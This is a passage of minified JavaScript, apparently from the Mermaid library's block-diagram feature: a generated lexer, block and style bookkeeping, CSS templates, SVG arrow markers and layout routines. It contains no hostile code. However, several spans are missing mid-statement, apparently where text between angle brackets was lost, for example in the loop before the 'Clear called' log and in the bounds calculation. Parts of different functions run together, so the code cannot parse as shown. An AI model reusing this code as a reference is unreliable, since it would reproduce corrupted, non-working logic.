w||this.lex()},"lex"),begin:o(function(w){this.conditionStack.push(w)},"begin"),popState:o(function(){var w=this.conditionStack.length-1;return w>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(w){return w=this.conditionStack.length-1-Math.abs(w||0),w>=0?this.conditionStack[w]:"INITIAL"},"topState"),pushState:o(function(w){this.begin(w)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(w,k,A,C){var R=C;switch(A){case 0:return w.getLogger().debug("Found block-beta"),10;break;case 1:return w.getLogger().debug("Found id-block"),29;break;case 2:return w.getLogger().debug("Found block"),10;break;case 3:w.getLogger().debug(".",k.yytext);break;case 4:w.getLogger().debug("_",k.yytext);break;case 5:return 5;case 6:return k.yytext=-1,28;break;case 7:return k.yytext=k.yytext.replace(/columns\s+/,""),w.getLogger().debug("COLUMNS (LEX)",k.yytext),28;break;case 8:this.pushState("md_string");break;case 9:return"MD_STR";case 10:this.popState();break;case 11:this.pushState("string");break;case 12:w.getLogger().debug("LEX: POPPING STR:",k.yytext),this.popState();break;case 13:return w.getLogger().debug("LEX: STR end:",k.yytext),"STR";break;case 14:return k.yytext=k.yytext.replace(/space\:/,""),w.getLogger().debug("SPACE NUM (LEX)",k.yytext),21;break;case 15:return k.yytext="1",w.getLogger().debug("COLUMNS (LEX)",k.yytext),21;break;case 16:return 42;case 17:return"LINKSTYLE";case 18:return"INTERPOLATE";case 19:return this.pushState("CLASSDEF"),39;break;case 20:return this.popState(),this.pushState("CLASSDEFID"),"DEFAULT_CLASSDEF_ID";break;case 21:return this.popState(),this.pushState("CLASSDEFID"),40;break;case 22:return this.popState(),41;break;case 23:return this.pushState("CLASS"),43;break;case 24:return this.popState(),this.pushState("CLASS_STYLE"),44;break;case 25:return this.popState(),45;break;case 26:return this.pushState("STYLE_STMNT"),46;break;case 27:return this.popState(),this.pushState("STYLE_DEFINITION"),47;break;case 28:return this.popState(),48;break;case 29:return this.pushState("acc_title"),"acc_title";break;case 30:return this.popState(),"acc_title_value";break;case 31:return this.pushState("acc_descr"),"acc_descr";break;case 32:return this.popState(),"acc_descr_value";break;case 33:this.pushState("acc_descr_multiline");break;case 34:this.popState();break;case 35:return"acc_descr_multiline_value";case 36:return 30;case 37:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 38:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 39:return this.popState(),w.getLogger().debug("Lex: ))"),"NODE_DEND";break;case 40:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 41:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 42:return this.popState(),w.getLogger().debug("Lex: (-"),"NODE_DEND";break;case 43:return this.popState(),w.getLogger().debug("Lex: -)"),"NODE_DEND";break;case 44:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 45:return this.popState(),w.getLogger().debug("Lex: ]]"),"NODE_DEND";break;case 46:return this.popState(),w.getLogger().debug("Lex: ("),"NODE_DEND";break;case 47:return this.popState(),w.getLogger().debug("Lex: ])"),"NODE_DEND";break;case 48:return this.popState(),w.getLogger().debug("Lex: /]"),"NODE_DEND";break;case 49:return this.popState(),w.getLogger().debug("Lex: /]"),"NODE_DEND";break;case 50:return this.popState(),w.getLogger().debug("Lex: )]"),"NODE_DEND";break;case 51:return this.popState(),w.getLogger().debug("Lex: )"),"NODE_DEND";break;case 52:return this.popState(),w.getLogger().debug("Lex: ]>"),"NODE_DEND";break;case 53:return this.popState(),w.getLogger().debug("Lex: ]"),"NODE_DEND";break;case 54:return w.getLogger().debug("Lexa: -)"),this.pushState("NODE"),35;break;case 55:return w.getLogger().debug("Lexa: (-"),this.pushState("NODE"),35;break;case 56:return w.getLogger().debug("Lexa: ))"),this.pushState("NODE"),35;break;case 57:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 58:return w.getLogger().debug("Lex: ((("),this.pushState("NODE"),35;break;case 59:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 60:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 61:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 62:return w.getLogger().debug("Lexc: >"),this.pushState("NODE"),35;break;case 63:return w.getLogger().debug("Lexa: (["),this.pushState("NODE"),35;break;case 64:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 65:return this.pushState("NODE"),35;break;case 66:return this.pushState("NODE"),35;break;case 67:return this.pushState("NODE"),35;break;case 68:return this.pushState("NODE"),35;break;case 69:return this.pushState("NODE"),35;break;case 70:return this.pushState("NODE"),35;break;case 71:return this.pushState("NODE"),35;break;case 72:return w.getLogger().debug("Lexa: ["),this.pushState("NODE"),35;break;case 73:return this.pushState("BLOCK_ARROW"),w.getLogger().debug("LEX ARR START"),37;break;case 74:return w.getLogger().debug("Lex: NODE_ID",k.yytext),31;break;case 75:return w.getLogger().debug("Lex: EOF",k.yytext),8;break;case 76:this.pushState("md_string");break;case 77:this.pushState("md_string");break;case 78:return"NODE_DESCR";case 79:this.popState();break;case 80:w.getLogger().debug("Lex: Starting string"),this.pushState("string");break;case 81:w.getLogger().debug("LEX ARR: Starting string"),this.pushState("string");break;case 82:return w.getLogger().debug("LEX: NODE_DESCR:",k.yytext),"NODE_DESCR";break;case 83:w.getLogger().debug("LEX POPPING"),this.popState();break;case 84:w.getLogger().debug("Lex: =>BAE"),this.pushState("ARROW_DIR");break;case 85:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (right): dir:",k.yytext),"DIR";break;case 86:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (left):",k.yytext),"DIR";break;case 87:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (x):",k.yytext),"DIR";break;case 88:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (y):",k.yytext),"DIR";break;case 89:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (up):",k.yytext),"DIR";break;case 90:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (down):",k.yytext),"DIR";break;case 91:return k.yytext="]>",w.getLogger().debug("Lex (ARROW_DIR end):",k.yytext),this.popState(),this.popState(),"BLOCK_ARROW_END";break;case 92:return w.getLogger().debug("Lex: LINK","#"+k.yytext+"#"),15;break;case 93:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 94:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 95:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 96:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 97:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 98:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 99:this.pushState("md_string");break;case 100:return w.getLogger().debug("Lex: Starting string"),this.pushState("string"),"LINK_LABEL";break;case 101:return this.popState(),w.getLogger().debug("Lex: LINK","#"+k.yytext+"#"),15;break;case 102:return this.popState(),w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 103:return this.popState(),w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 104:return w.getLogger().debug("Lex: COLON",k.yytext),k.yytext=k.yytext.slice(1),27;break}},"anonymous"),rules:[/^(?:block-beta\b)/,/^(?:block:)/,/^(?:block\b)/,/^(?:[\s]+)/,/^(?:[\n]+)/,/^(?:((\u000D\u000A)|(\u000A)))/,/^(?:columns\s+auto\b)/,/^(?:columns\s+[\d]+)/,/^(?:["][`])/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:space[:]\d+)/,/^(?:space\b)/,/^(?:default\b)/,/^(?:linkStyle\b)/,/^(?:interpolate\b)/,/^(?:classDef\s+)/,/^(?:DEFAULT\s+)/,/^(?:\w+\s+)/,/^(?:[^\n]*)/,/^(?:class\s+)/,/^(?:(\w+)+((,\s*\w+)*))/,/^(?:[^\n]*)/,/^(?:style\s+)/,/^(?:(\w+)+((,\s*\w+)*))/,/^(?:[^\n]*)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:end\b\s*)/,/^(?:\(\(\()/,/^(?:\)\)\))/,/^(?:[\)]\))/,/^(?:\}\})/,/^(?:\})/,/^(?:\(-)/,/^(?:-\))/,/^(?:\(\()/,/^(?:\]\])/,/^(?:\()/,/^(?:\]\))/,/^(?:\\\])/,/^(?:\/\])/,/^(?:\)\])/,/^(?:[\)])/,/^(?:\]>)/,/^(?:[\]])/,/^(?:-\))/,/^(?:\(-)/,/^(?:\)\))/,/^(?:\))/,/^(?:\(\(\()/,/^(?:\(\()/,/^(?:\{\{)/,/^(?:\{)/,/^(?:>)/,/^(?:\(\[)/,/^(?:\()/,/^(?:\[\[)/,/^(?:\[\|)/,/^(?:\[\()/,/^(?:\)\)\))/,/^(?:\[\\)/,/^(?:\[\/)/,/^(?:\[\\)/,/^(?:\[)/,/^(?:<\[)/,/^(?:[^\(\[\n\-\)\{\}\s\<\>:]+)/,/^(?:$)/,/^(?:["][`])/,/^(?:["][`])/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["])/,/^(?:["])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:\]>\s*\()/,/^(?:,?\s*right\s*)/,/^(?:,?\s*left\s*)/,/^(?:,?\s*x\s*)/,/^(?:,?\s*y\s*)/,/^(?:,?\s*up\s*)/,/^(?:,?\s*down\s*)/,/^(?:\)\s*)/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?:\s*~~[\~]+\s*)/,/^(?:\s*[xo<]?--\s*)/,/^(?:\s*[xo<]?==\s*)/,/^(?:\s*[xo<]?-\.\s*)/,/^(?:["][`])/,/^(?:["])/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?::\d+)/],conditions:{STYLE_DEFINITION:{rules:[28],inclusive:!1},STYLE_STMNT:{rules:[27],inclusive:!1},CLASSDEFID:{rules:[22],inclusive:!1},CLASSDEF:{rules:[20,21],inclusive:!1},CLASS_STYLE:{rules:[25],inclusive:!1},CLASS:{rules:[24],inclusive:!1},LLABEL:{rules:[99,100,101,102,103],inclusive:!1},ARROW_DIR:{rules:[85,86,87,88,89,90,91],inclusive:!1},BLOCK_ARROW:{rules:[76,81,84],inclusive:!1},NODE:{rules:[37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,77,80],inclusive:!1},md_string:{rules:[9,10,78,79],inclusive:!1},space:{rules:[],inclusive:!1},string:{rules:[12,13,82,83],inclusive:!1},acc_descr_multiline:{rules:[34,35],inclusive:!1},acc_descr:{rules:[32],inclusive:!1},acc_title:{rules:[30],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8,11,14,15,16,17,18,19,23,26,29,31,33,36,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,92,93,94,95,96,97,98,104],inclusive:!0}}};return T})();v.lexer=x;function b(){this.yy={}}return o(b,"Parser"),b.prototype=v,v.Parser=b,new b})();fz.parser=fz;ybe=fz});function cnt(t){switch(X.debug("typeStr2Type",t),t){case"[]":return"square";case"()":return X.debug("we have a round"),"round";case"(())":return"circle";case">]":return"rect_left_inv_arrow";case"{}":return"diamond";case"{{}}":return"hexagon";case"([])":return"stadium";case"[[]]":return"subroutine";case"[()]":return"cylinder";case"((()))":return"doublecircle";case"[//]":return"lean_right";case"[\\\\]":return"lean_left";case"[/\\]":return"trapezoid";case"[\\/]":return"inv_trapezoid";case"<[]>":return"block_arrow";default:return"na"}}function unt(t){switch(X.debug("typeStr2Type",t),t){case"==":return"thick";default:return"normal"}}function hnt(t){switch(t.replace(/^[\s-]+|[\s-]+$/g,"")){case"x":return"arrow_cross";case"o":return"arrow_circle";case">":return"arrow_point";default:return""}}var ql,pz,dz,xbe,bbe,rnt,wbe,nnt,DC,int,ant,snt,ont,kbe,mz,R4,lnt,Tbe,fnt,dnt,pnt,mnt,gnt,ynt,vnt,xnt,bnt,Tnt,wnt,Ebe,Sbe=N(()=>{"use strict";hR();qn();Xt();pt();gr();ci();ql=new Map,pz=[],dz=new Map,xbe="color",bbe="fill",rnt="bgFill",wbe=",",nnt=ge(),DC=new Map,int=o(t=>tt.sanitizeText(t,nnt),"sanitizeText"),ant=o(function(t,e=""){let r=DC.get(t);r||(r={id:t,styles:[],textStyles:[]},DC.set(t,r)),e?.split(wbe).forEach(n=>{let i=n.replace(/([^;]*);/,"$1").trim();if(RegExp(xbe).exec(n)){let s=i.replace(bbe,rnt).replace(xbe,bbe);r.textStyles.push(s)}r.styles.push(i)})},"addStyleClass"),snt=o(function(t,e=""){let r=ql.get(t);e!=null&&(r.styles=e.split(wbe))},"addStyle2Node"),ont=o(function(t,e){t.split(",").forEach(function(r){let n=ql.get(r);if(n===void 0){let i=r.trim();n={id:i,type:"na",children:[]},ql.set(i,n)}n.classes||(n.classes=[]),n.classes.push(e)})},"setCssClass"),kbe=o((t,e)=>{let r=t.flat(),n=[],a=r.find(s=>s?.type==="column-setting")?.columns??-1;for(let s of r){if(typeof a=="number"&&a>0&&s.type!=="column-setting"&&typeof s.widthInColumns=="number"&&s.widthInColumns>a&&X.warn(`Block ${s.id} width ${s.widthInColumns} exceeds configured column width ${a}`),s.label&&(s.label=int(s.label)),s.type==="classDef"){ant(s.id,s.css);continue}if(s.type==="applyClass"){ont(s.id,s?.styleClass??"");continue}if(s.type==="applyStyles"){s?.stylesStr&&snt(s.id,s?.stylesStr);continue}if(s.type==="column-setting")e.columns=s.columns??-1;else if(s.type==="edge"){let l=(dz.get(s.id)??0)+1;dz.set(s.id,l),s.id=l+"-"+s.id,pz.push(s)}else{s.label||(s.type==="composite"?s.label="":s.label=s.id);let l=ql.get(s.id);if(l===void 0?ql.set(s.id,s):(s.type!=="na"&&(l.type=s.type),s.label!==s.id&&(l.label=s.label)),s.children&&kbe(s.children,s),s.type==="space"){let u=s.width??1;for(let h=0;h{X.debug("Clear called"),Sr(),R4={id:"root",type:"composite",children:[],columns:-1},ql=new Map([["root",R4]]),mz=[],DC=new Map,pz=[],dz=new Map},"clear");o(cnt,"typeStr2Type");o(unt,"edgeTypeStr2Type");o(hnt,"edgeStrToEdgeData");Tbe=0,fnt=o(()=>(Tbe++,"id-"+Math.random().toString(36).substr(2,12)+"-"+Tbe),"generateId"),dnt=o(t=>{R4.children=t,kbe(t,R4),mz=R4.children},"setHierarchy"),pnt=o(t=>{let e=ql.get(t);return e?e.columns?e.columns:e.children?e.children.length:-1:-1},"getColumns"),mnt=o(()=>[...ql.values()],"getBlocksFlat"),gnt=o(()=>mz||[],"getBlocks"),ynt=o(()=>pz,"getEdges"),vnt=o(t=>ql.get(t),"getBlock"),xnt=o(t=>{ql.set(t.id,t)},"setBlock"),bnt=o(()=>X,"getLogger"),Tnt=o(function(){return DC},"getClasses"),wnt={getConfig:o(()=>Qt().block,"getConfig"),typeStr2Type:cnt,edgeTypeStr2Type:unt,edgeStrToEdgeData:hnt,getLogger:bnt,getBlocksFlat:mnt,getBlocks:gnt,getEdges:ynt,setHierarchy:dnt,getBlock:vnt,setBlock:xnt,getColumns:pnt,getClasses:Tnt,clear:lnt,generateId:fnt},Ebe=wnt});var LC,knt,Cbe,Abe=N(()=>{"use strict";eo();yg();LC=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),knt=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .cluster-label text { + fill: ${t.titleColor}; + } + .cluster-label span,p { + color: ${t.titleColor}; + } + + + + .label text,span,p { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + .flowchart-label text { + text-anchor: middle; + } + // .flowchart-label .text-outer-tspan { + // text-anchor: middle; + // } + // .flowchart-label .text-inner-tspan { + // text-anchor: start; + // } + + .node .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 2.0px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + + /* For html labels only */ + .labelBkg { + background-color: ${LC(t.edgeLabelBackground,.5)}; + // background-color: + } + + .node .cluster { + // fill: ${LC(t.mainBkg,.5)}; + fill: ${LC(t.clusterBkg,.5)}; + stroke: ${LC(t.clusterBorder,.2)}; + box-shadow: rgba(50, 50, 93, 0.25) 0px 13px 27px -5px, rgba(0, 0, 0, 0.3) 0px 8px 16px -8px; + stroke-width: 1px; + } + + .cluster text { + fill: ${t.titleColor}; + } + + .cluster span,p { + color: ${t.titleColor}; + } + /* .cluster div { + color: ${t.titleColor}; + } */ + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .flowchartTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } + ${zc()} +`,"getStyles"),Cbe=knt});var Ent,Snt,Cnt,Ant,_nt,Dnt,Lnt,Rnt,Nnt,Mnt,Int,_be,Dbe=N(()=>{"use strict";pt();Ent=o((t,e,r,n)=>{e.forEach(i=>{Int[i](t,r,n)})},"insertMarkers"),Snt=o((t,e,r)=>{X.trace("Making markers for ",r),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionStart").attr("class","marker extension "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 1,7 L18,13 V 1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionEnd").attr("class","marker extension "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 1,1 V 13 L18,7 Z")},"extension"),Cnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionStart").attr("class","marker composition "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionEnd").attr("class","marker composition "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"composition"),Ant=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationStart").attr("class","marker aggregation "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationEnd").attr("class","marker aggregation "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"aggregation"),_nt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyStart").attr("class","marker dependency "+e).attr("refX",6).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 5,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyEnd").attr("class","marker dependency "+e).attr("refX",13).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"dependency"),Dnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopStart").attr("class","marker lollipop "+e).attr("refX",13).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6),t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopEnd").attr("class","marker lollipop "+e).attr("refX",1).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6)},"lollipop"),Lnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-pointEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",6).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 0 0 L 10 5 L 0 10 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-pointStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",4.5).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 0 5 L 10 10 L 10 0 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"point"),Rnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-circleEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",11).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-circleStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",-1).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"circle"),Nnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-crossEnd").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",12).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-crossStart").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",-1).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0")},"cross"),Mnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-barbEnd").attr("refX",19).attr("refY",7).attr("markerWidth",20).attr("markerHeight",14).attr("markerUnits","strokeWidth").attr("orient","auto").append("path").attr("d","M 19,7 L9,13 L14,7 L9,1 Z")},"barb"),Int={extension:Snt,composition:Cnt,aggregation:Ant,dependency:_nt,lollipop:Dnt,point:Lnt,circle:Rnt,cross:Nnt,barb:Mnt},_be=Ent});function Ont(t,e){if(t===0||!Number.isInteger(t))throw new Error("Columns must be an integer !== 0.");if(e<0||!Number.isInteger(e))throw new Error("Position must be a non-negative integer."+e);if(t<0)return{px:e,py:0};if(t===1)return{px:0,py:e};let r=e%t,n=Math.floor(e/t);return{px:r,py:n}}function gz(t,e,r=0,n=0){X.debug("setBlockSizes abc95 (start)",t.id,t?.size?.x,"block width =",t?.size,"siblingWidth",r),t?.size?.width||(t.size={width:r,height:n,x:0,y:0});let i=0,a=0;if(t.children?.length>0){for(let m of t.children)gz(m,e);let s=Pnt(t);i=s.width,a=s.height,X.debug("setBlockSizes abc95 maxWidth of",t.id,":s children is ",i,a);for(let m of t.children)m.size&&(X.debug(`abc95 Setting size of children of ${t.id} id=${m.id} ${i} ${a} ${JSON.stringify(m.size)}`),m.size.width=i*(m.widthInColumns??1)+Ti*((m.widthInColumns??1)-1),m.size.height=a,m.size.x=0,m.size.y=0,X.debug(`abc95 updating size of ${t.id} children child:${m.id} maxWidth:${i} maxHeight:${a}`));for(let m of t.children)gz(m,e,i,a);let l=t.columns??-1,u=0;for(let m of t.children)u+=m.widthInColumns??1;let h=t.children.length;l>0&&l0?Math.min(t.children.length,l):t.children.length;if(m>0){let g=(d-m*Ti-Ti)/m;X.debug("abc95 (growing to fit) width",t.id,d,t.size?.width,g);for(let y of t.children)y.size&&(y.size.width=g)}}t.size={width:d,height:p,x:0,y:0}}X.debug("setBlockSizes abc94 (done)",t.id,t?.size?.x,t?.size?.width,t?.size?.y,t?.size?.height)}function Lbe(t,e){X.debug(`abc85 layout blocks (=>layoutBlocks) ${t.id} x: ${t?.size?.x} y: ${t?.size?.y} width: ${t?.size?.width}`);let r=t.columns??-1;if(X.debug("layoutBlocks columns abc95",t.id,"=>",r,t),t.children&&t.children.length>0){let n=t?.children[0]?.size?.width??0,i=t.children.length*n+(t.children.length-1)*Ti;X.debug("widthOfChildren 88",i,"posX");let a=0;X.debug("abc91 block?.size?.x",t.id,t?.size?.x);let s=t?.size?.x?t?.size?.x+(-t?.size?.width/2||0):-Ti,l=0;for(let u of t.children){let h=t;if(!u.size)continue;let{width:f,height:d}=u.size,{px:p,py:m}=Ont(r,a);if(m!=l&&(l=m,s=t?.size?.x?t?.size?.x+(-t?.size?.width/2||0):-Ti,X.debug("New row in layout for block",t.id," and child ",u.id,l)),X.debug(`abc89 layout blocks (child) id: ${u.id} Pos: ${a} (px, py) ${p},${m} (${h?.size?.x},${h?.size?.y}) parent: ${h.id} width: ${f}${Ti}`),h.size){let y=f/2;u.size.x=s+Ti+y,X.debug(`abc91 layout blocks (calc) px, pyid:${u.id} startingPos=X${s} new startingPosX${u.size.x} ${y} padding=${Ti} width=${f} halfWidth=${y} => x:${u.size.x} y:${u.size.y} ${u.widthInColumns} (width * (child?.w || 1)) / 2 ${f*(u?.widthInColumns??1)/2}`),s=u.size.x+y,u.size.y=h.size.y-h.size.height/2+m*(d+Ti)+d/2+Ti,X.debug(`abc88 layout blocks (calc) px, pyid:${u.id}startingPosX${s}${Ti}${y}=>x:${u.size.x}y:${u.size.y}${u.widthInColumns}(width * (child?.w || 1)) / 2${f*(u?.widthInColumns??1)/2}`)}u.children&&Lbe(u,e);let g=u?.widthInColumns??1;r>0&&(g=Math.min(g,r-a%r)),a+=g,X.debug("abc88 columnsPos",u,a)}}X.debug(`layout blocks (<==layoutBlocks) ${t.id} x: ${t?.size?.x} y: ${t?.size?.y} width: ${t?.size?.width}`)}function Rbe(t,{minX:e,minY:r,maxX:n,maxY:i}={minX:0,minY:0,maxX:0,maxY:0}){if(t.size&&t.id!=="root"){let{x:a,y:s,width:l,height:u}=t.size;a-l/2n&&(n=a+l/2),s+u/2>i&&(i=s+u/2)}if(t.children)for(let a of t.children)({minX:e,minY:r,maxX:n,maxY:i}=Rbe(a,{minX:e,minY:r,maxX:n,maxY:i}));return{minX:e,minY:r,maxX:n,maxY:i}}function Nbe(t){let e=t.getBlock("root");if(!e)return;gz(e,t,0,0),Lbe(e,t),X.debug("getBlocks",JSON.stringify(e,null,2));let{minX:r,minY:n,maxX:i,maxY:a}=Rbe(e),s=a-n,l=i-r;return{x:r,y:n,width:l,height:s}}var Ti,Pnt,Mbe=N(()=>{"use strict";pt();Xt();Ti=ge()?.block?.padding??8;o(Ont,"calculateBlockPosition");Pnt=o(t=>{let e=0,r=0;for(let n of t.children){let{width:i,height:a,x:s,y:l}=n.size??{width:0,height:0,x:0,y:0};X.debug("getMaxChildSize abc95 child:",n.id,"width:",i,"height:",a,"x:",s,"y:",l,n.type),n.type!=="space"&&(i>e&&(e=i/(t.widthInColumns??1)),a>r&&(r=a))}return{width:e,height:r}},"getMaxChildSize");o(gz,"setBlockSizes");o(Lbe,"layoutBlocks");o(Rbe,"findBounds");o(Nbe,"layout")});function Ibe(t,e){e&&t.attr("style",e)}function Bnt(t,e){let r=qe(document.createElementNS("http://www.w3.org/2000/svg","foreignObject")),n=r.append("xhtml:div"),i=t.label,a=t.isNode?"nodeLabel":"edgeLabel",s=n.append("span");return s.html(sr(i,e)),Ibe(s,t.labelStyle),s.attr("class",a),Ibe(n,t.labelStyle),n.style("display","inline-block"),n.style("white-space","nowrap"),n.attr("xmlns","http://www.w3.org/1999/xhtml"),r.node()}var Fnt,ks,RC=N(()=>{"use strict";yr();Xt();gr();pt();zo();tr();o(Ibe,"applyStyle");o(Bnt,"addHtmlLabel");Fnt=o(async(t,e,r,n)=>{let i=t||"";typeof 